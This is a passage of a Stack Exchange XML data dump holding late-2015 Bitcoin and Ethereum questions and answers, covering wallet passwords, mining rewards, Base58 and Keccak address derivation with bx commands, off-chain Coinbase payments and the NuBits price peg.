ContentLicense="CC BY-SA 4.0" />
  <row Id="42088" PostTypeId="1" CreationDate="2015-12-30T21:52:15.420" Score="0" ViewCount="637" Body="&lt;p&gt;Ethereum. I love the ideas behind it and it's exciting and such... but damn if this isn't the most user unfriendly thing I've ever seen?!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So a while ago, with a view to begin mining ETH on my GPU, I installed Alethzero onto my Windows machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why? Who the hell knows... I waded through a billion overly technical FAQs and got very confused over the twenty-something different versions of what appear to be the same software in different guises, and just went with what eventually worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, when running Alethzero for the first time I was asked to create a master password. I did this, and am still able to access the software with the same password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did eventually get mining and all is well...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I'd really like some user friendly wallet software that I can actually understand, not dissimilar to the Bitcoin Core client.&#xA;Today I came across the (official?) Ethereum wallet Ðapp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks beautiful... I installed, synched and there we are. Accounts, wallets (not certain of the distinction here, but sure, wallets are like... apps, that are a facade for your accounts? Or something?), all with a nice GUI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, as far as I can tell, the wallet is using the same software behind the scenes as Alethzero... right?&#xA;If I look in the roaming folder I can see that it's created a file in the keystore folder, alongside one I assume was created by Alethzero.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My issue is this:&#xA;I can't send any transactions from the wallet Ðapp, as the password is not accepted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I never created a password for the wallet Ðapp... indeed the only time I've created a password, was the master password I used in Alethzero. This is not accepeted in the Ðapp, but still works in Alethzero.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assumed they were using the same data... presumably if I create an account in Alethzero, I will see it in the Ðapp? Is that right?&#xA;So, why am I unable to do anything in the Ðapp without a password that is either not being accepted, or has never been created?&lt;/p&gt;&#xA;" OwnerUserId="20897" LastEditorUserId="2306" LastEditDate="2015-12-31T00:45:25.317" LastActivityDate="2018-06-09T20:43:17.743" Title="Ethereum: Cannot use master password on Ethereum wallet" Tags="|ethereum|" AnswerCount="2" CommentCount="0" ClosedDate="2020-04-25T23:41:10.357" ContentLicense="CC BY-SA 3.0" />
  <row Id="42089" PostTypeId="1" CreationDate="2015-12-30T21:53:41.103" Score="7" ViewCount="429" Body="&lt;p&gt;In &quot;Mastering Bitcoin&quot;, the author notes (&lt;a href=&quot;http://www.oreilly.com/catalog/errata.csp?isbn=0636920032281&quot;&gt;source&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The maximum number of coins mined is the upper limit of possible mining rewards for bitcoin. In practice, a miner may intentionally mine a block taking less than the full reward. Such blocks have already been mined and more may be mined in the future resulting in a lower total issuance of the currency.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I understand that a possible answer is &quot;just because&quot; but I'm wondering if there are other reasons behind such an action.&lt;/p&gt;&#xA;" OwnerUserId="31571" LastEditorUserId="5406" LastEditDate="2016-02-21T11:43:14.330" LastActivityDate="2016-02-21T11:43:14.330" Title="Why would a Bitcoin miner take less than the full reward?" Tags="|mining-reward|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42090" PostTypeId="2" ParentId="42089" CreationDate="2015-12-30T22:05:57.423" Score="6" Body="&lt;p&gt;Likely you're correct, it's not useful in practice. People could, however, use value destruction as an costly signal. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Voting example; I run a poll of mining pools; number of Satoshis less than the full block reward, up to 5, is the vote for which of 5 proposed algorithms to run in the future. Once a majority of blocks over some time period vote for option X, everyone agrees to switch protocols. (This could allow identityless voting by miners.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Commitment example; A miner can &quot;promise&quot; something, and commit the value destroyed as a signal that they are willing to do it. If a miner wants to extort the network, such commitment could be effective in showing that they are serious.&lt;/p&gt;&#xA;" OwnerUserId="31570" LastActivityDate="2015-12-30T22:05:57.423" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42091" PostTypeId="1" AcceptedAnswerId="42092" CreationDate="2015-12-30T23:08:37.203" Score="2" ViewCount="85" Body="&lt;p&gt;I understand that the timestamps on blocks are not fully accurate. Given only that information, it's efectively impossible to do retrospective analyses of timing of blocks. (For example, this; &lt;a href=&quot;http://scienceblogs.com/builtonfacts/2014/01/11/is-bitcoin-currently-experiencing-a-selfish-miner-attack/&quot; rel=&quot;nofollow&quot;&gt;http://scienceblogs.com/builtonfacts/2014/01/11/is-bitcoin-currently-experiencing-a-selfish-miner-attack/&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to get data on when blocks actually were mined, or (at least) when some API provider received the blocks?&lt;/p&gt;&#xA;" OwnerUserId="31570" LastActivityDate="2015-12-31T01:18:25.640" Title="Finding the timing of blocks, afterwards?" Tags="|api|raw-data|timestamp|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42092" PostTypeId="2" ParentId="42091" CreationDate="2015-12-31T01:18:25.640" Score="2" Body="&lt;p&gt;I've tested blocktrail.com and they do provide an arrival time. Any provider will only have so much historical data though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are only interested in data moving forward you could run your own bitcoin node(s) and use -blocknotify= command switch to record your own time(s).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would need to consider when this notification is triggered.  Normally would be after the block is validated and longest chain is updated, not immediately when the node sees it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Output from BlockTrail&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;hash&quot;:&quot;000000000000000015aab005b28a326ade60f07515c33517ea5cb598f28fb7ea&quot;,&quot;height&quot;:320000,&quot;block_time&quot;:&quot;2014-09-10T13:55:18+0000&quot;,&quot;arrival_time&quot;:&quot;2014-09-10T13:55:47+0000&quot;,&quot;nonce&quot;:2145106612,&quot;difficulty&quot;:27428630902,&quot;merkleroot&quot;:&quot;57c6d11085df633a848eecf78befcdbbab58c2830ca380d4089d5013ab53d0df&quot;,&quot;is_orphan&quot;:false,&quot;prev_block&quot;:&quot;000000000000000021ecc2772de2ce57c6bd327c4ceaea52a0ecd70548b8ca41&quot;,&quot;next_block&quot;:&quot;00000000000000001bbfee4521419de4f79c19580027b00f9739ee7b2f0b5c57&quot;,&quot;byte_size&quot;:227086,&quot;confirmations&quot;:71045,&quot;transactions&quot;:357,&quot;value&quot;:262417274672,&quot;miningpool_name&quot;:&quot;DiscusFish \/ F2Pool&quot;,&quot;miningpool_url&quot;:&quot;http:\/\/www.f2pool.com&quot;,&quot;miningpool_slug&quot;:&quot;discusfish&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="31391" LastActivityDate="2015-12-31T01:18:25.640" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42093" PostTypeId="1" CreationDate="2015-12-31T01:28:22.780" Score="6" ViewCount="412" Body="&lt;p&gt;I am considering starting a new co-op based business. Since the business will be member-owned, it would be nice to launch the business with a voting tool. I want to be able to propose items to the co-op members and have them vote through a transparent system. I understand that there are efforts to use the blockchain (or blockchain-esque tools) to handle voting. But all of the ones I can find are for large scale efforts (like BitCongress). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any blockchain tools/approaches that can handle voting for small-ish groups? Ideally it would: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Handle voting from 300-400 people&lt;/li&gt;&#xA;&lt;li&gt;Be able to be deployed on my own server (not a cloud-based solution)&lt;/li&gt;&#xA;&lt;li&gt;Be simple to use for people that may or may not have previous BTC/blockchain experience&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I should also add that I have the coding skills to develop my own blockchain voting tool. So if there is no OOTB solution for what I need, I'd appreciate links to whitepapers or other documentation that outlines approaches to a blockchain voting scheme. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All help is welcome.&lt;/p&gt;&#xA;" OwnerUserId="31573" LastActivityDate="2020-12-10T18:17:37.517" Title="Blockchain Tools for Voting Among Small Groups?" Tags="|blockchain|voting|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42095" PostTypeId="1" CreationDate="2015-12-31T03:19:50.793" Score="2" ViewCount="227" Body="&lt;p&gt;New here, but have some intermediate knowledge of Bitcoin and Blockchain. My question is in regards to the off-chain transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, today I paid a coffee shop using my Coinbase wallet. I scanned and paid. The transaction pended for about 5 mins, then was successful. Problem is, the coffee shop didn't receive it. So I had to repay them using cash just to settle it and not give the staff an awkward moment since they didn't know what was going on as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wasn't sure what Bitcoin Client or &quot;App&quot; they were using, but it was on an iPad.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I paid them using coinbase wallet, does this count as a offchain transaction? If it was an offchain transaction, shouldn't it be instant? Why did it take 5 mins of pending to clear? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if I did want to pay them a transaction on the blockchain, would i need a different app that isn't online wallet based? Apps such as Bitcoin Wallet App instead of Coinbase or Xapo?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks.&lt;/p&gt;&#xA;" OwnerUserId="31576" LastActivityDate="2015-12-31T05:43:41.357" Title="Offchain transactions" Tags="|off-chain|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42096" PostTypeId="1" AcceptedAnswerId="42102" CreationDate="2015-12-31T04:44:47.277" Score="2" ViewCount="5089" Body="&lt;p&gt;I wanted to buy Bitcoin. Coinbase said that they could transfer money directly from my U.S. bank account and convert it to Bitcoin, and then I'd have a Bitcoin address and could give people Bitcoin or pay with it for things. I went ahead and signed up and requested a transfer of $100. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's why I am worried: Coinbase asked me to provide my credentials to my online banking while I was on the Coinbase website, both my username and my password. I thought that should have happened on my bank's website with SSL connection, not through Coinbase. I went ahead and did it but now I'm worried. Coinbase said that the transaction wouldn't go through until January 6, 2016 because of ACH and the holidays, which is fine. I'm just worried because I have several paychecks worth of money in that bank account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I did not access Coinbase from Android or any other mobile device. I used my desktop PC with Google Chrome web browser.)&lt;/p&gt;&#xA;" OwnerUserId="18229" LastEditorUserId="18229" LastEditDate="2017-12-23T00:10:05.713" LastActivityDate="2017-12-23T04:11:32.310" Title="Is it safe to authorize Coinbase to withdraw cash directly from my bank account?" Tags="|security|buy-bitcoins|coinbase.com|banks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42097" PostTypeId="2" ParentId="42055" CreationDate="2015-12-31T05:35:05.767" Score="2" Body="&lt;p&gt;For computing ETH addresses, the last 20 bytes of a Keccak-256 hash are used. Must Not use the NIST FIPS 202 flavors of Keccak such as &lt;a href=&quot;https://github.com/gvanas/KeccakCodePackage/blob/master/Standalone/CompactFIPS202/Keccak-readable-and-compact.c&quot; rel=&quot;nofollow&quot;&gt;KeccakCodePackage&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, a hack to main.c and genKATShortMsg.cpp from &lt;a href=&quot;https://github.com/gvanas/KeccakTools&quot; rel=&quot;nofollow&quot;&gt;KeccakTools&lt;/a&gt; will yield proper ETH addresses, detailed in a comment above. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the following ETH private key: &lt;code&gt;b205a1e03ddf50247d8483435cd91f9c732bad281ad420061ab4310c33166276&lt;/code&gt;. The associated public key results from using bx. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;% echo b205a1e03ddf50247d8483435cd91f9c732bad281ad420061ab4310c33166276 | bx ec-to-public -u&#xA;04**6cb84859e85b1d9a27e060fdede38bb818c93850fb6e42d9c7e4bd879f8b9153fd94ed48e1f63312dce58f4d778ff45a2e5abb08a39c1bc0241139f5e54de7df**&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The following &lt;code&gt;KeccakTools/Example\ trails&lt;/code&gt; configuration file is needed to to execute&lt;br&gt;&#xA;&lt;code&gt;../bin/KeccakTools&lt;/code&gt; from the &lt;code&gt;Example\ trails&lt;/code&gt; directory.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;% cat ShortMsgKAT.txt&#xA;&#xA;\# Algorithm Name: NOT_FIPS202_SHA3_256&#xA;\# Principal Submitter: SKAHT&#xA;Len = 512&#xA;Msg = 6cb84859e85b1d9a27e060fdede38bb818c93850fb6e42d9c7e4bd879f8b9153fd94ed48e1f63312dce58f4d778ff45a2e5abb08a39c1bc0241139f5e54de7df&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A file called &lt;code&gt;ShortMsgKAT_keccak-256.txt&lt;/code&gt; is created from executing the &lt;code&gt;KeccakTools&lt;/code&gt; that will contain:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MD = 787EC5A5313A976F7BDF9EED**AFDEFC1937AE294C3BD55386A8B9775539D81653** &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;when the hack documented above is performed to build &lt;strong&gt;KeccakTools&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="10377" LastEditorUserId="1652" LastEditDate="2016-05-05T20:18:26.793" LastActivityDate="2016-05-05T20:18:26.793" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42098" PostTypeId="2" ParentId="42095" CreationDate="2015-12-31T05:43:41.357" Score="1" Body="&lt;p&gt;Coinbase will do an offline transaction depending on whether the recipient address is part of coinbase wallet. If recipient address is part of a coinbase wallet then the tx can be easily done offline, otherwise the tx has to be on bitcoin blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use wallets like electrum/mycelium they will always do onchain transactions. &lt;/p&gt;&#xA;" OwnerUserId="26481" LastActivityDate="2015-12-31T05:43:41.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42099" PostTypeId="2" ParentId="42087" CreationDate="2015-12-31T05:46:04.717" Score="3" Body="&lt;p&gt;Yes, congratulations you are running a full node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you're mostly running a full node so that you can fully validate everything so you can now send and receive money without trusting anyone. However you are trusting your PC itself, malware might steal your money or cause you to lose money (both would happen with non-full nodes too of course). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might want to check how many connections you have (after bitcoind has been running for at least an hour or so) use &lt;code&gt;getpeerinfo&lt;/code&gt;. If you only see 8 outgoing connections then other nodes can probably not reach you. If you would like to enable them to do so you might need to configure your router to do portforwarding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For receiving bitcoins you don't even need to be online at all. For sending them you don't need to have finished downloading as long as it has downloaded far enough to know that you received any.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastEditorUserId="5292" LastEditDate="2015-12-31T05:55:05.913" LastActivityDate="2015-12-31T05:55:05.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42100" PostTypeId="2" ParentId="42087" CreationDate="2015-12-31T05:55:46.007" Score="0" Body="&lt;p&gt;Good job running a full node. You are already helping the bitcoin network. Yes, you have to wait for the full download of blockchain for sending or receiving BTC with bitcoin-cli.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To better know what bitcoind is doing, you can install &lt;a href=&quot;https://github.com/azeteki/bitcoind-ncurses&quot; rel=&quot;nofollow&quot;&gt;frontend for bitcoind&lt;/a&gt;. Have fun watching bitcoin transactions!&lt;/p&gt;&#xA;" OwnerUserId="26481" LastActivityDate="2015-12-31T05:55:46.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42101" PostTypeId="1" AcceptedAnswerId="42104" CreationDate="2015-12-31T10:45:51.953" Score="3" ViewCount="1664" Body="&lt;p&gt;I am trying to convert my Bitcoin Address with BitcoinJ in order to look like a normal address such as this:&#xA;1J7mdg5rbQyUHENYdx39WVWK7fsLpEoXZy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't found anything exept for the &lt;code&gt;Base58.encode()&lt;/code&gt; which takes the &lt;code&gt;getPubkeyHash()&lt;/code&gt; of my &lt;code&gt;ECKey&lt;/code&gt; and returns something like this:&#xA;5ahorsFsHTcG3f662evowc5c9zf.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which means that encodes the given bytes in base58,no checksum is appended according to the API.But i want my address to look like the above one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any algorithm in java  for &lt;strong&gt;encoding address_byte_string (consisting of 1-byte_version + hash_or_other_data + 4-byte_check_code)&lt;/strong&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;according to this:&lt;a href=&quot;https://en.bitcoin.it/wiki/Base58Check_encoding&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Base58Check_encoding&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="31202" LastActivityDate="2016-01-02T07:09:09.200" Title="Encoding my Bitcoin Address with Base58 encoding" Tags="|address|bitcoinj|base58|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42102" PostTypeId="2" ParentId="42096" CreationDate="2015-12-31T12:22:05.887" Score="3" Body="&lt;p&gt;They don't  need your password to process the ACH in the future. this sounds like they used your banking credentials to verify that it really is your account. You should be able to change your password on your banking account now and be safer.&lt;/p&gt;&#xA;" OwnerUserId="5830" LastActivityDate="2015-12-31T12:22:05.887" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42103" PostTypeId="2" ParentId="41503" CreationDate="2015-12-31T17:47:13.143" Score="1" Body="&lt;p&gt;as I understand it the reason for having a gas limit is to avoid nodes being burdened by the load of processing transactions during busy periods and thus reducing processing available for mining and thus delaying block creation and propagation.  This would result in longer block times or incentivise miners to create zero transaction blocks just to get the mining reward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way this effect could be mitigated would be to have a moving average gas limit.  eg: say 5 times pi million for the total of last five blocks.  Keeping the same pi million average per block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would allow sporadic peaks of high gas for deployment of large contracts without increasing the average processing load . This would allow deployment of high gas contracts but be preferable to increasing the average gas per block. &lt;/p&gt;&#xA;" OwnerUserId="31588" LastActivityDate="2015-12-31T17:47:13.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42104" PostTypeId="2" ParentId="42101" CreationDate="2015-12-31T18:32:30.983" Score="5" Body="&lt;p&gt;Yes.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ECKey key = ...;&#xA;String addr = key.toAddress(MainNetParams.get()).toString();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoinj.github.io/javadoc/0.12/org/bitcoinj/core/ECKey.html#toAddress-org.bitcoinj.core.NetworkParameters-&quot; rel=&quot;noreferrer&quot;&gt;https://bitcoinj.github.io/javadoc/0.12/org/bitcoinj/core/ECKey.html#toAddress-org.bitcoinj.core.NetworkParameters-&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-12-31T18:32:30.983" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42105" PostTypeId="2" ParentId="38887" CreationDate="2016-01-01T01:24:41.300" Score="4" Body="&lt;p&gt;I ended up writing my own command-line tool to perform wallet discovery and print out a report.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It supports single xpub derivation as well as multisig m-of-n wallets, specifically CoPay wallets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It determines if each address has been used or not by querying blockchain.info or also toshi or insight servers (the latter two can be run locally.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone interested can check it out at:&#xA;&lt;a href=&quot;https://github.com/dan-da/hd-wallet-addrs&quot; rel=&quot;nofollow&quot;&gt;https://github.com/dan-da/hd-wallet-addrs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strike&gt;I plan to add a web frontend soon.&lt;/strike&gt;  Update: Web frontend is &lt;a href=&quot;https://mybitprices.info/hd-wallet-addrs.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, blockonomics is pretty good and very fast.  They don't seem to support CoPay/multisig yet though.&lt;/p&gt;&#xA;" OwnerUserId="31593" LastEditorUserId="31594" LastEditDate="2016-02-05T01:47:48.700" LastActivityDate="2016-02-05T01:47:48.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42106" PostTypeId="2" ParentId="37927" CreationDate="2016-01-01T04:22:58.670" Score="1" Body="&lt;p&gt;Here is a thread where someone is providing updated &lt;code&gt;bootstrap.dat&lt;/code&gt; downloads on BitcoinTalk:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=1310261.msg13412290#msg13412290&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bitcointalk.org/index.php?topic=1310261.msg13412290#msg13412290&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14697" LastEditorUserId="5406" LastEditDate="2017-10-10T14:28:41.277" LastActivityDate="2017-10-10T14:28:41.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42107" PostTypeId="2" ParentId="41009" CreationDate="2016-01-01T05:14:39.577" Score="1" Body="&lt;p&gt;bmsc only works with the BITMAIN cgminer...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have fully tested and configured cgminer 4.9.2, the latest to work with the U3, check out my videos on vimeo and dailymotion, do a search for cgminer and antminer u3, full instructions are included.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have bfgminer working with the U3 as well....&lt;/p&gt;&#xA;" OwnerUserId="31598" LastActivityDate="2016-01-01T05:14:39.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42109" PostTypeId="2" ParentId="41317" CreationDate="2016-01-01T20:37:46.693" Score="3" Body="&lt;p&gt;NuBits is really interesting in how it pegs to the USD, which they explain in &lt;a href=&quot;https://nubits.com/sites/default/files/assets/nu-whitepaper-23_sept_2014-en.pdf&quot; rel=&quot;nofollow&quot;&gt;the white paper&lt;/a&gt;. I'm guessing you don't want to go hunting through there (white papers can be ... daunting), so the short version is....&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;If the demand for NuBits goes up (ie, lots of people want to buy Nubits, so the price for a NuBit should rise above $1 USD), the custodians of NuShares (&quot;Shareholders&quot;) will vote to issue newly minted NuBits to satisfy the demand and therefore drive the price back down to $1 USD.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If the demand for NuBits goes down (ie, nobody wants NuBits, so the price for a NuBit should drop below $1 USD), holders of NuBits are able to &quot;park&quot; their NuBits (aka, keep them off the market) in exchange for dividends paid in PeerCoin, which reduces the supply and drives the price back up to $1 USD.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There's actually lot more going on here than these two things, but these seem to be the main ones. More importantly, they seem to be working as NBT has been transacting around $10,000 USD daily (as of today) and I've only seen the price fluctuate +/- $0.01 USD over the past few months.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want the whole story (which includes lots of other mechanisms to stabilize the peg to the USD), take a look at &lt;a href=&quot;https://nubits.com/about/price-stability&quot; rel=&quot;nofollow&quot;&gt;the price stability page&lt;/a&gt; on the NuBits website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The practical conclusion here is: if you ever see NBT selling for more than $1 USD, don't buy it, because the price will be back to $1 USD soon, so you're wasting your money.&lt;/p&gt;&#xA;" OwnerUserId="30591" LastActivityDate="2016-01-01T20:37:46.693" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42110" PostTypeId="2" ParentId="42101" CreationDate="2016-01-02T01:56:07.513" Score="1" Body="&lt;p&gt;Not Java, but interesting to examine as a reference to explore Java functionality with this fc8fba997174132184998ab82b28e441e80c73236ccaf8b6a1efadc33febecfc  being a secp256k1 elliptic curve private key.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;% echo fc8fba997174132184998ab82b28e441e80c73236ccaf8b6a1efadc33febecfc | bx ec-to-public -u | bx sha256 | bx ripemd160 | bx wrap-encode -v 0 | bx base58-encode&lt;/code&gt;&#xA;&lt;strong&gt;1KNogjhyQ3fSPGpzgAv8gSG5WLVN8L39Ln&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;% echo fc8fba997174132184998ab82b28e441e80c73236ccaf8b6a1efadc33febecfc | bx ec-to-public -u | bx sha256 | bx ripemd160 | bx base58check-encode -v 0&lt;/code&gt;&#xA;&lt;strong&gt;1KNogjhyQ3fSPGpzgAv8gSG5WLVN8L39Ln&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;% echo fc8fba997174132184998ab82b28e441e80c73236ccaf8b6a1efadc33febecfc | bx ec-to-public -u | bx bitcoin160 | bx base58check-encode -v 0&lt;/code&gt;&#xA;&lt;strong&gt;1KNogjhyQ3fSPGpzgAv8gSG5WLVN8L39Ln&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;% echo fc8fba997174132184998ab82b28e441e80c73236ccaf8b6a1efadc33febecfc | bx ec-to-public -u | bx bitcoin160 | bx address-encode -v 0&lt;/code&gt;&#xA;&lt;strong&gt;1KNogjhyQ3fSPGpzgAv8gSG5WLVN8L39Ln&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;% echo fc8fba997174132184998ab82b28e441e80c73236ccaf8b6a1efadc33febecfc | bx ec-to-public | bx bitcoin160 | bx address-encode -v 0&lt;/code&gt;&#xA;&lt;strong&gt;1FbGdbUU1ibBtanPTLAuMTAJ4Y9HkatkcX&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;% echo fc8fba997174132184998ab82b28e441e80c73236ccaf8b6a1efadc33febecfc | bx ec-to-public&lt;/code&gt;&#xA;&lt;strong&gt;02cf90dc2b34937fff7cf1eb4b260f1e5610231134b864761e508505938bbef8fc&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;% echo fc8fba997174132184998ab82b28e441e80c73236ccaf8b6a1efadc33febecfc | bx ec-to-public -u&lt;/code&gt;&#xA;&lt;strong&gt;04cf90dc2b34937fff7cf1eb4b260f1e5610231134b864761e508505938bbef8fc00aeb265797336b74146e018da7b78070f1f1072540a2c3fe83637ca5d605b3c&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;% echo fc8fba997174132184998ab82b28e441e80c73236ccaf8b6a1efadc33febecfc | bx ec-to-public -u | bx bitcoin160&lt;/code&gt;&#xA;&lt;strong&gt;c991f856a2992c877d3923298e67b88fe61e6c76&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="10377" LastEditorUserId="10377" LastEditDate="2016-01-02T07:09:09.200" LastActivityDate="2016-01-02T07:09:09.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42114" PostTypeId="2" ParentId="42073" CreationDate="2016-01-02T09:55:26.833" Score="1" Body="&lt;p&gt;No, not to my knowledge. Also, it doesn’t make sense to me to want to incorporate all these different aspects into one device.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mining devices need to run continuously and produce a lot of noise and heat. They also need to be replaced eventually, as they get obsoleted by better technology. As such, they are most cost efficient if they just focus on the mining algorithm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While full nodes also run continuously, they can run on fairly small machines more suited to quieter environments. They run more complicated software than the miners and need to have software updates frequently, while the hardware can last.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don’t want wallets that store large amounts to run all the time, as that increases the exposure to potential theft. Wallets for daily spending tend to be thin wallets which will catch up with the network quickly whenever you need them to, which also is beneficial for running them on small devices that you can carry around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Decentralized exchanges are even harder. In a way, these are covered by mobile wallets in that they allow users to meet up and trade directly. The challenge with decentralized exchange systems is the interfacing with fiat currencies. I don’t think there is a widely popular solution yet, and it doesn’t appear likely that a majority should be running any such solution.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-06-30T22:29:14.057" LastActivityDate="2016-06-30T22:29:14.057" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
